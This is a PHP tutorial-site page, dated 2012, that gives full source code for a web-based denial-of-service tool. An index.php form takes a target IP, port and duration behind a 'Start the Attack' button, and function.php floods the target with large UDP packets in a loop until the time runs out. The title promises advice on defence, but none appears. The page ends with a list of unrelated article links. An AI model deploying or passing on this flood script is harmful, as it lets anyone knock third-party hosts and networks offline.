php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
汉字转化为拼音(php版)
Oct 09 PHP
PHP中的正规表达式(一)
Oct 09 PHP
用PHP函数解决SQL injection
Dec 09 PHP
深入分析php中接口与抽象类的区别
Jun 08 PHP
php function用法如何递归及return和echo区别
Mar 07 PHP
ThinkPHP使用UTFWry地址库进行IP定位实例
Apr 01 PHP
php实现zip压缩文件解压缩代码分享(简单易懂)
May 10 PHP
PHP里8个鲜为人知的安全函数分析
Dec 09 PHP
PHP Reflection API详解
May 12 PHP
Zend Framework教程之连接数据库并执行增删查的方法(附demo源码下载)
Mar 21 PHP
PHP调用接口用post方法传送json数据的实例
May 31 PHP
Laravel 队列使用的实现
Jan 08 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
遍历指定目录下的所有目录和文件的php代码
2011/11/27 PHP
php导出CSV抽象类实例
2014/09/24 PHP
php图片添加水印例子
2016/07/20 PHP
JS+PHP实现用户输入数字后显示最大的值及所在位置
2017/06/19 PHP
PHP实现对数字分隔加千分号的方法
2019/03/18 PHP
让IE6支持min-width和max-width的方法
2010/06/25 Javascript
js DOM 元素ID就是全局变量
2012/09/20 Javascript
Jquery ajaxStart()与ajaxStop()方法(实例讲解)
2013/12/18 Javascript
javascript使用数组的push方法完成快速排序
2014/09/15 Javascript
JavaScript学习笔记之Function对象
2015/01/22 Javascript
JavaScript+html5 canvas绘制缤纷多彩的三角形效果完整实例
2016/01/26 Javascript
js的OOP继承实现(必看篇)
2017/02/18 Javascript
TypeScript入门-基本数据类型
2017/03/28 Javascript
JavaScript条件判断_动力节点Java学院整理
2017/06/26 Javascript
js+html实现点名系统功能
2019/11/05 Javascript
[02:38]2018年度DOTA2最佳劣单位选手-完美盛典
2018/12/17 DOTA
[02:08]2018年度CS GO枪械皮肤设计大赛优秀作者-完美盛典
2018/12/16 DOTA
Python3中常用的处理时间和实现定时任务的方法的介绍
2015/04/07 Python
Python正则简单实例分析
2017/03/21 Python
Python实现的knn算法示例
2018/06/14 Python
Python使用try except处理程序异常的三种常用方法分析
2018/09/05 Python
python-sys.stdout作为默认函数参数的实现
2020/02/21 Python
Python logging自定义字段输出及打印颜色
2020/11/30 Python
Python爬虫爬取ts碎片视频+验证码登录功能
2021/02/22 Python
中国旅游网站:同程旅游
2016/09/11 全球购物
汇科协同Java笔试题
2012/03/31 面试题
大学自我鉴定
2013/12/20 职场文书
物流合作计划书
2014/01/10 职场文书
公务员政审个人鉴定
2014/02/25 职场文书
四下基层实施方案
2014/03/28 职场文书
《池塘边的叫声》教学反思
2014/04/12 职场文书
四风问题查摆材料
2014/08/25 职场文书
2015年人力资源部工作总结
2015/04/30 职场文书
运动会广播稿200字
2015/08/19 职场文书
劳务派遣管理制度(样本)
2019/08/23 职场文书
Vue OpenLayer 为地图绘制风场效果
2022/04/24 Vue.js